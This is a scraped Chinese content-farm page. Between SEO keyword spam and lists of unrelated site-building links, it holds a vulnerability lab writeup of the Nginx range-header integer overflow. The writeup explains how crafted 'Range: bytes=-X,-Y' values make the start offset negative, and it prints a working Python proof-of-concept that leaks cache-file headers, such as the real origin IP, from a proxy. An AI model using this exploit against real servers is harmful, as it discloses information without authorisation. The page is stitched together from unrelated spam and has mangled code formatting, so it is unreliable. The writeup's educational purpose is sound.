当前位置: 首页 > news >正文

哈尔滨网站建设优化公司个人网站开发模式

哈尔滨网站建设优化公司,个人网站开发模式,加工网袋的设备多少钱,温州 网站建设公司漏洞影响 低危#xff0c;造成信息泄露#xff0c;暴露真实ip等 实验内容 漏洞原理 通过查看patch确定问题是由于对http header中range域处理不当造成#xff0c;焦点在ngx_http_range_parse 函数中的循环#xff1a; HTTP头部range域的内容大约为Range: bytes4096-81…漏洞影响 低危造成信息泄露暴露真实ip等 实验内容 漏洞原理 通过查看patch确定问题是由于对http header中range域处理不当造成焦点在ngx_http_range_parse 函数中的循环 HTTP头部range域的内容大约为Range: bytes4096-8192bytes-字符串指针p中即为“bytes”后面的内容 这段代码是要把“-”两边的数字取出分别赋值给 start 和 end 变量标记读取文件的偏移和结束位置。 对于一般的页面文件这两个值怎么玩都没关系。但对于有额外头部的缓存文件若start值为负合适的负值那么就意味着缓存文件的头部也会被读取。 因此我们需令 suffix 1由此可推知Range 的内容必然为Range:bytes-xxx即省略初始 start 值的形式。 那么我们可以通过 Range 中设 end 值大于content_length真正文件的长度这样 start 就自动被程序修正为负值了。 但是在写利用过程中发现一个问题若 end 值很大那么 start 的绝对值也会很大会超过缓存文件的起始头部造成读取失败。若 end 值不够大那么换算下来 size end – 1 content_length end content_length 见前文所述就不能通过循环外面的检测 if (sizecontent_length){ return NGXDECLINFD; } 这样的话似乎无论设 end 为何值都无法达成利用了。继续跟进代码发现这个循环是个无条件循环尾部为 if (*p !’,’){ break; } 也就是说若 Range 域形如Range: bytesstart-end,start1-end1,…就还有机会继续完成利用。 我们可以构造一个 Range: bytes-X, -Y 一大一小两个 end 值只需要控制前面一个 end 值小而后一个 end 值大从而实现 start 值和 size 值皆为负数控制 start 值负到一个合适的位置那么就能成功利用读到缓存文件头部了。 POC: 访问http://your-ip:8080/即可查看到Nginx默认页面这个页面实际上是反向代理的8081端口的内容。 调用python3 poc.py http://your-ip:8080/读取返回结果 #!/usr/bin/env python import sys import requestsif len(sys.argv) 2:print(%s url % (sys.argv[0]))print(eg: python %s http://your-ip:8080/ % (sys.argv[0]))sys.exit()headers {User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240 } offset 605 url sys.argv[1] file_len len(requests.get(url, headersheaders).content) n file_len offset headers[Range] bytes-%d,-%d % (n, 0x8000000000000000 - n)r requests.get(url, headersheaders) print(r.text) 参考链接https://zhuanlan.zhihu.com/p/34155943 看完点赞关注不迷路!!! 后续继续更新优质安全内容!!!
http://www.pierceye.com/news/209947/

相关文章:

  • 在淘宝做印刷网站怎么办wordpress 主题 edu
  • 成都设计公司网站线上线下一体化营销
  • 网站你懂我意思正能量晚上下载注册公司需要多少钱手续费
  • 在线html网站开发广州网站排名优化公司
  • 如何在免费网站上做推扩自己怎么来建设网站
  • 福安市教育局建设网站做架构图简单的网站
  • 如何快速进行网站开发seo是什么东西
  • 网站建设需要具备哪些学编程多少钱学费
  • 建设工程许可证在那个网站办金融行业网站制作
  • 邢台专业做网站价格信息流广告是什么
  • 网站开发的母的目的和意义.建设购物平台网站
  • 立方米网站建设做淘宝客网站用什么程序好
  • 怎样做网站挣钱建筑资料软件
  • 涿州建设局网站苏州市高新区建设局网站
  • 个人soho要怎么做企业网站成都包装设计公司
  • 网站开发 chrome浏览器崩溃ruhe用dw做网站
  • 全屏网站 图片优化个人网站cms系统
  • 做我女朋友程序网站邵东做网站
  • 建设网站如何挂到网上wordpress首页添加幻灯
  • 汕头正规网站建设模板总部城乡建设网站 资料员
  • vs 2017c 怎么建设网站网站建设的数字化和互联网化
  • 南昌网站设计公司海南营销网站建设
  • 购物网站素材个人搭建网站教程
  • 青岛网站建设哪里好模板建站服务公司
  • 青色网站欣赏wordpress中文购物
  • 建站培训全国住房与城乡建设部网站
  • 唐山网站建设方案策划沧州网站建设联系电话
  • 网页制作和网站开发实验报告logo设计品牌
  • 摄影后期教程网站百度指数1000搜索量有多少
  • wp网站建设模板什么是网站的原型